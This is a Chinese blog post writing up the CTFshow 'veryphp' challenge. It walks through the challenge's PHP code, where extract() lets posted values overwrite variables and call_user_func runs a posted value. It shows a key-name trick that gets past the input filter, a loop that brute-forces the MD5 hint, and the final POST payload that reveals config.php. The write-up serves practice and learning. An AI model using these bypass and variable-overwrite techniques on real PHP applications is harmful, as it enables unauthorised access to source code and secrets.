CTFshow 的djb杯的veryphp膜拜学习,,,

这个这个,知识点太多了。学习了学习了。。

一、知识点:

  1. 首先是代码审计,理清逻辑
  2. 正则表达式的学习,这次狠学了一波正则。。感觉这一篇文章就差不多了
  3. call_user_func()的使用,这个用的还是不熟练啊
  4. 简单脚本的编写
  5. 开拓思路,可以不用脚本,用变量覆盖实现我们的目的
<?php
error_reporting(0);
highlight_file(__FILE__);
include("config.php");
class qwq
{
    
    
    function __wakeup(){
    
    
        die("Access Denied!");
    }
    static function oao(){
    
    
        show_source("config.php");
    }
}
$str = file_get_contents("php://input");
if(preg_match('/\`|\_|\.|%|\*|\~|\^|\'|\"|\;|\(|\)|\]|g|e|l|i|\//is',$str)){
    
    
    die("I am sorry but you have to leave.");
}else{
    
    
    extract($_POST);
}
if(isset($shaw_root)){
    
    
    if(preg_match('/^\-[a-e][^a-zA-Z0-8]<b>(.*)>{4}\D*?(abc.*?)p(hp)*\@R(s|r).$/', $shaw_root)&& strlen($shaw_root)===29){
    
    
        echo $hint;
    }else{
    
    
        echo "Almost there."."<br>";
    }
}else{
    
    
    echo "<br>"."Input correct parameters"."<br>";
    die();
}
if($ans===$SecretNumber){
    
    
    echo "<br>"."Congratulations!"."<br>";
    call_user_func($my_ans);
}

二、思路:

以目的为导向,要看到 config.php 的源码,就要调用 qwq 中的 oao 方法。
然后后面的 call_user_func()这个危险函数,可以调用类中的方法名。
然后需要 ans === SecretNumber 。这个number就需要那个 hint
所以 要post传入满足那些正则的字符串了

1.一步一步慢慢走

咱们从上往下慢慢看先,
这个我就有点迷,,

$str = file_get_contents("php://input");

在本地试了试。
在这里插入图片描述再下一步

if(preg_match('/^\-[a-e][^a-zA-Z0-8]<b>(.*)>{4}\D*?(abc.*?)p(hp)*\@R(s|r).$/', $shaw_root)&& strlen($shaw_root)===29){
    
    
        echo $hint;
^ 就是表示开头,也就是开头 必须是 -
\- 就是匹配 - 
[a-e]  就是匹配a到e中任意一个字母
[^a-zA-Z0-8] 匹配除了这些之外的一个东西。也就是9<b> 就是匹配 <b>
(.*) 就是匹配任意非换行符  0次或者任意多次
>{
    
    4} 就是匹配>4次 也就是 >>>>
\D*? 就是 匹配非数字的字符0次或者任意多次,但尽可能少重复
(abc.*?) 就是匹配abc和任意字符,0次或者任意多次,但尽可能少重复。那就是0次了被,就是匹配abc了
p 就是匹配p
(hp)* 就是匹配 hp 0次或者更多次
\@ 就是 表示匹配 @
R 就是表示匹配 R
(s|r). 就是表示 匹配s或者r
. 就是表示匹配除了换行符以外的所有字符
$ 就是表示,这是最后。也就是最后不能是换行符就好

再这个传入 $shaw_root 之前,还有一个正则来过滤我们的 $str 的,

if(preg_match('/\`|\_|\.|%|\*|\~|\^|\'|\"|\;|\(|\)|\]|g|e|l|i|\//is',$str)){
    
    
    die("I am sorry but you have to leave.");
}else{
    
    
    extract($_POST);
}

就是 $str 不能有这些东西,也就是我们post的全体字符串 不能有这些东西,那么首先
shaw_root 中的这个下滑线,就有问题啊。我找到了!!!以前写过的!!记录:学习利用PHP的字符串解析特性绕过,,,------键名的特殊字符替换成为 下划线____,。post中可能比较特殊,我试过了,应该差不都只有 空格 能够被替换成为 _ 下划线

所以这个键名就用 空格 绕过嘛,
后面的来。

shaw root=-a9<b>11111111>>>>aabcphp@Rs1

需要29个么,所以1 那里就多加了一写

tmd。。这个环境出问题了应该,我在我本地能过,再ctfshow的上面就过不了。然后将那些wp的payload贴上去,也不对,,,,???

好吧,我的锅。用burp就好了hackbar总是会有问题,最好还是用burp
在这里插入图片描述

接着分析把。贴一下hint:

md5("shaw".($SecretNumber)."root")==166b47a5cb1ca2431a0edfcef200684f && strlen($SecretNumber)===5

再结合前面的代码:

if($ans===$SecretNumber){
    
    
    echo "<br>"."Congratulations!"."<br>";
    call_user_func($my_ans);
}

这是要我们爆破出 SecretNumber ,然后就传入一样的ans就可以调用 call_user_func了。
所以这里可以进行密码爆破:

既可以爆破,也可以extract进行覆盖

<?php
for ($SecretNumber = 10000;$SecretNumber<=99999;$SecretNumber++){
    
    
    $str="shaw".$SecretNumber."root";
    if(md5($str)=="166b47a5cb1ca2431a0edfcef200684f"){
    
    
        echo $SecretNumber;
        exit;
    }
}
//21475

变量覆盖的话,就直接

&ans=1&SecretNumber=1

这里变量覆盖的这个方法先等等,还没有证实。

然后
ans=21475

这个 call_user_func()先看看这个先看看,,。我等会给补上我们需要的那块知识点

再是。直接调用类中的方法名,就好了
my_ans=qwq::oao

所以总共的payload:

shaw root=-a9<b>11111111>>>>aabcphp@Rs1&ans=21475&my ans=qwq::oao

在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/Zero_Adam/article/details/113841970